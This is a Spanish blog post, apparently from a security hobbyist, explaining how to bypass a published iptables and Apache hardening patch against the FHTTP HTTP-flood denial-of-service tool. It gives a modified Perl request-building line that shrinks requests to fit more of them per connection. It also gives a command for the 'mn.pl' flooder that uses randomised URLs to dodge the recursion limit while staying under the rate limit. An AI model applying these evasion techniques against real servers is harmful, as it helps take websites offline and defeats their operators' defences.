Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

Breaking the patch - FHTTP

Twitter icon Twitter icon
Mi amigo NataShell publico un parche contra la FHTTP (que también se publico aquí en el blog), como se dijo al inicio es solo un parche temporal, ahora verán el por que :P

Parche: http://natashell.esdebian.org/47316/defendiendonos-fhttp

primero comenzamos con el primer detalle visible:
iptables -A INPUT -p tcp -m tcp --dport 80 -m limit --limit 10/sec -j ACCEPT

se limita a 10 conexiones por segundo, por suerte solo necesitamos esa cantidad (o menos) para saturar un servidor ;)


LimitRequestBody 102400

Description: Restricts the total size of the HTTP request body sent from the client.

LimitRequestFields 50

Description:
Limits the number of HTTP request header fields that will be accepted from the client

LimitRequestFieldSize 8190
Description: Limits the size of the HTTP request header allowed from the client

LimitInternalRecursion 5
Description: Determine maximum number of internal redirects and nested subrequests.

LimitRequestLine 8190
Description: Limit the size of the HTTP request line that will be accepted from the client.

Bueno por suerte los únicos que verdaderamente nos afectan son:
LimitInternalRecursion y LimitRequestBody.

Debido a los siguiente: el internalrecursion se puede entender como que solo nos va a dejar cargar (en este caso) 5 veces la misma pagina.

y LimitRequestBody nos pone un limite de cuantos bytes podemos enviar y por tanto de cuantos requests se pueden realizar.

Vamos a solucionarlo ;)

No voy a usar la FHTTP completa para esta solo la MN que colgué en seclists.
La razón: es mas ligera y mas fácil de editar para esta "explicación" xD.

si editamos un poco el request que se va a enviar de la siguiente forma:

$paquete .= join "",$method," /",$filepath," HTTP/1.1\nHost: ",$host,"\nAccept-Encoding: gzip,deflate\nIf-None-Match: ",$randsemilla,"\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\nConnection: Keep-Alive\n\n";

Estaríamos reduciendo el tamaño por request y haciendo básicamente el mismo daño, pero utilizando menos banda (mas request por conexión :P).

Ahora respecto a lo otro, tenemos que apache (aparentemente) procesa por URL, no exactamente por archivo, de modo que podríamos usar el {mn-fakeip} de la siguiente forma:

perl mn.pl http://localhost:8080/SMF/?{mn-fakeip} 8 100 190.10.101.1


y listo pasado el parche xD (en ese caso son 8 conexiones, no las 10 que nos permite, pero en fin incluso con eso en muchos casos basta :P).

Pero si tengo que reconocer que no tiene el mismo potencial que tendría sin el parche, pero igual funciona (parcialmente) xD...


Saludos! y a esperar que el amigo NataShell saque otro parche :P.